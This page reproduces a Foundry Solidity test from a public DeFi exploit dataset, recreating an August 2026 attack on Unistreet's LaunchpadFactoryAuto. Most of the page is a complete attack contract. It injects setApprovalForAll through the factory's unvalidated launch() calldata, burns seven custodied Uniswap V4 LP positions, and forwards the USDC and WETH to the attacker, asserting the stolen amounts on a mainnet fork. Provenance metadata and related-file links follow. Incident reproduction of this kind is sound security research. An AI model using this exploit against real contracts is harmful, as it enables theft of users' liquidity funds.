Public reproduction file
src/test/2026-08/UnistreetLaunchpad_exp.sol
Public reproduction file for dataset entry UnistreetLaunchpad.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.24;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Unistreet (unistreetsx) LaunchpadFactoryAuto — arbitrary-call injection through unvalidated8// launch() calldata forwarding drains the factory-custodied Uniswap V4 LP positions.9// Ethereum mainnet, 2026-08. ~$17.75K to the attacker EOA in one tx.10//11// Exploit tx : 0x9583e95d5c88c7966e269197f4b09022f26b7a27ad2c13660dda6774e3136d14 (block 25692311)12// Attacker : 0xc94e23C58b9b2998eDB7ABC8F99393FEaD98507613// Victim : 0xFB60CD0B36aD4bD839b91767a6Ad9055AB6aD825 (LaunchpadFactoryAuto, LP custodian)14// V4 posm : 0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e (PositionManager, holds the launch NFTs)15// V4 PoolMgr : 0x000000000004444c5DC75cB358380D2e3dE08A9016//17// Root cause (verified against the on-chain trace AND the verified LaunchpadFactoryAuto source, NOT18// a key/admin/signer compromise): launch() is `external payable`, fully permissionless, and forwards19// the caller's `initCalldata` and `modifyCalldata` VERBATIM into the V4 PositionManager as the20// factory itself, with no validation on the content:21//22// bytes[] memory calls = new bytes[](2);23// calls[0] = initCalldata;24// calls[1] = modifyCalldata;25// IPositionManager(POSITION_MANAGER).multicall(calls); // msg.sender == the factory26//27// posm.multicall self-delegatecalls each entry with msg.sender preserved as the factory, and the28// factory is the ERC721 owner of every launch's LP-position NFT. So the attacker passes29// `modifyCalldata = setApprovalForAll(attacker, true)`, which posm runs as the factory and grants30// the attacker operator rights over EVERY position the factory custodies — including other users'31// launches. The attacker then calls posm.modifyLiquidities directly on each of those positions with32// a BURN_POSITION + TAKE_PAIR action pair, sweeping the underlying tokens to itself.33//34// Reconstructed 1:1 from the trace as ordinary typed calls (no bytecode blob, no raw calldata35// replay of the tx, no redeploy of the original attack contract). The injected payload is built36// here with abi.encodeWithSelector against the real posm signatures so it is visible, not opaque:37// 1. launch() a throwaway token "CPOC" with initCalldata = initializePool(CPOC/WETH) and38// modifyCalldata = setApprovalForAll(this, true) <- the injection.39// 2. for each of the 7 factory-custodied victim positions, posm.modifyLiquidities([BURN_POSITION,40// TAKE_PAIR]) to burn it and take both currencies to this contract.41// 3. forward the swept USDC + WETH to the attacker EOA.42// The seven positions also yield illiquid launch memecoins (e.g. tokenId 360162 "UNISTREET"); those43// are hard to price and are left in the exploit contract, not folded into the USD assertion.44//45// Requires evm_version = cancun: Uniswap V4's PoolManager uses EIP-1153 transient storage.46//47// forge test --contracts src/test/2026-08/UnistreetLaunchpad_exp.sol -vvv49interface ILaunchpadFactoryAuto {50 struct Params {51 string name;52 string symbol;53 uint256 supply;54 address pairedStock;55 uint256 seedAmount;56 bytes32 salt;57 string description;58 string image;59 string website;60 string twitter;61 bool holdersShare;62 }64 struct SeedBuys {65 address payAsset;66 uint256 totalPayIn;67 bytes preCommands;68 bytes[] preInputs;69 uint128[] amounts;70 address[] recipients;71 }73 function launch(74 Params calldata p,75 bytes calldata initCalldata,76 bytes calldata modifyCalldata,77 SeedBuys calldata sb78 ) external payable returns (address token);79 function predict(80 bytes32 salt81 ) external view returns (address);82}84interface IPositionManager {85 function setApprovalForAll(86 address operator,87 bool approved88 ) external;89 function modifyLiquidities(90 bytes calldata unlockData,91 uint256 deadline92 ) external payable;93}95// PoolKey shape the V4 PositionManager.initializePool expects.96struct PoolKey {97 address currency0;98 address currency1;99 uint24 fee;100 int24 tickSpacing;101 address hooks;102}104contract UnistreetLaunchpadAttack {105 ILaunchpadFactoryAuto internal constant FACTORY = ILaunchpadFactoryAuto(0xFB60CD0B36aD4bD839b91767a6Ad9055AB6aD825);106 IPositionManager internal constant POSM = IPositionManager(0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e);107 address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;108 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;110 // initializePool((PoolKey),uint160) selector, and sqrtPriceX96 = 2^96 (a 1:1 start price).111 bytes4 internal constant INITIALIZE_POOL = 0xf7020405;112 uint160 internal constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;113 // Uniswap V4 action bytes.114 uint8 internal constant BURN_POSITION = 0x03;115 uint8 internal constant TAKE_PAIR = 0x11;116 // Same salt the incident used; keeps the throwaway CPOC clone below the WETH address so the117 // pool key currency ordering matches, and the clone address is deterministic on (factory, salt).118 bytes32 internal constant SALT = 0xbd28cbac70a00af863747d3d417bf978587d808789d912874b92f6f45c473354;120 address internal immutable owner;122 constructor() {123 owner = msg.sender;124 }126 function attack(127 uint256[] calldata tokenIds,128 address[] calldata cur0,129 address[] calldata cur1130 ) external {131 // 1. Launch a throwaway token, but inject setApprovalForAll(this,true) as modifyCalldata.132 // The factory forwards it to posm as itself, approving us over all its custodied NFTs.133 address cpoc = FACTORY.predict(SALT);134 PoolKey memory key =135 PoolKey({currency0: cpoc, currency1: WETH, fee: 10_000, tickSpacing: 200, hooks: address(0)});137 bytes memory initCalldata = abi.encodeWithSelector(INITIALIZE_POOL, key, SQRT_PRICE_1_1);138 bytes memory modifyCalldata =139 abi.encodeWithSelector(IPositionManager.setApprovalForAll.selector, address(this), true);141 ILaunchpadFactoryAuto.Params memory p = ILaunchpadFactoryAuto.Params({142 name: "constructor-poc",143 symbol: "CPOC",144 supply: 1_000_000e18,145 pairedStock: WETH,146 seedAmount: 1_000_000e18,147 salt: SALT,148 description: "",149 image: "",150 website: "",151 twitter: "",152 holdersShare: false153 });154 ILaunchpadFactoryAuto.SeedBuys memory sb; // totalPayIn 0 -> no seed buys156 FACTORY.launch(p, initCalldata, modifyCalldata, sb);158 // 2. As the now-approved operator, burn each factory-custodied victim position and take159 // both of its currencies here.160 for (uint256 i; i < tokenIds.length; i++) {161 bytes memory actions = abi.encodePacked(BURN_POSITION, TAKE_PAIR);162 bytes[] memory params = new bytes[](2);163 params[0] = abi.encode(tokenIds[i], uint128(0), uint128(0), bytes("")); // BURN_POSITION164 params[1] = abi.encode(cur0[i], cur1[i], address(this)); // TAKE_PAIR to us165 POSM.modifyLiquidities(abi.encode(actions, params), block.timestamp + 300);166 }168 // 3. Forward the swept USDC + WETH to the attacker EOA (the memecoins stay here).169 IERC20(USDC).transfer(owner, IERC20(USDC).balanceOf(address(this)));170 IERC20(WETH).transfer(owner, IERC20(WETH).balanceOf(address(this)));171 }172}174contract UnistreetLaunchpadExp is BaseTestWithBalanceLog {175 address internal constant ATTACKER = 0xc94e23C58b9b2998eDB7ABC8F99393FEaD985076;176 IERC20 internal constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);177 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);179 uint256 internal constant FORK_BLOCK = 25_692_310; // parent of the exploit block 25692311180 uint256 internal constant EXPECTED_USDC = 17_743_907_229; // 17,743.907229 USDC181 uint256 internal constant EXPECTED_WETH = 7_209_570_881_911_319; // 0.007209570881911319 WETH183 function setUp() public {184 vm.createSelectFork("mainnet", FORK_BLOCK);185 vm.label(ATTACKER, "AttackerEOA");186 vm.label(0xFB60CD0B36aD4bD839b91767a6Ad9055AB6aD825, "LaunchpadFactoryAuto");187 vm.label(0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e, "V4PositionManager");188 }190 /// forge-config: default.evm_version = "cancun"191 function testExploit() public {192 // The 7 factory-custodied victim positions and each one's (currency0, currency1).193 uint256[] memory tokenIds = new uint256[](7);194 address[] memory cur0 = new address[](7);195 address[] memory cur1 = new address[](7);196 (tokenIds[0], cur0[0], cur1[0]) = (360_162, 0x3Bf4118F8862857872e6c13f87743Ab05a52Bc7D, address(USDC));197 (tokenIds[1], cur0[1], cur1[1]) = (364_347, address(USDC), 0xAa145d7f316e0EaC3DDb163331CA770F2eb5307f);198 (tokenIds[2], cur0[2], cur1[2]) = (360_385, 0x954727c49CBD6e2432E7Ad7533232b53e2dc81FC, address(WETH));199 (tokenIds[3], cur0[3], cur1[3]) = (363_137, 0xBac02f09e4A734086184064acf885d6C9e686c57, address(WETH));200 (tokenIds[4], cur0[4], cur1[4]) = (363_145, address(WETH), 0xd096a97331331D1eAeBFFb4EDCC48C74D8E04d70);201 (tokenIds[5], cur0[5], cur1[5]) = (363_678, 0x3Fd263E3baDea86b6dAC10f331A60949E75657e6, address(WETH));202 (tokenIds[6], cur0[6], cur1[6]) = (364_293, 0x593Cc7d69be66Fa37746DB9437baD571EE3D36e9, address(WETH));204 uint256 usdcBefore = USDC.balanceOf(ATTACKER);205 uint256 wethBefore = WETH.balanceOf(ATTACKER);207 vm.prank(ATTACKER, ATTACKER);208 UnistreetLaunchpadAttack exploit = new UnistreetLaunchpadAttack();209 exploit.attack(tokenIds, cur0, cur1);211 uint256 usdcGain = USDC.balanceOf(ATTACKER) - usdcBefore;212 uint256 wethGain = WETH.balanceOf(ATTACKER) - wethBefore;213 emit log_named_decimal_uint("attacker USDC gain", usdcGain, 6);214 emit log_named_decimal_uint("attacker WETH gain", wethGain, 18);216 // Core assertion: USDC + WETH swept out of the custodied positions, to the wei.217 assertApproxEqAbs(usdcGain, EXPECTED_USDC, 1e6, "USDC gain off expected ~17,743.91");218 assertApproxEqAbs(wethGain, EXPECTED_WETH, 1e14, "WETH gain off expected ~0.00721");219 }220}Analysis
Dataset entry
Public Foundry test for “UnistreetLaunchpad” (2026-08-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc94e23c58b9b2998edb7abc8f99393fead985076
- Victim
0xfb60cd0b36ad4bd839b91767a6ad9055ab6ad825
File record
- Name
- UnistreetLaunchpad
- Path
- src/test/2026-08/UnistreetLaunchpad_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- bae56e5a8f48b12b5a3b2dc2db8833d37276d1d2
- Language
- Solidity
- Size
- 221 lines
- Date
- 2026-08-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/UnistreetLaunchpad_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bae56e5a8f48b12b5a3b2dc2db8833d37276d1d2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.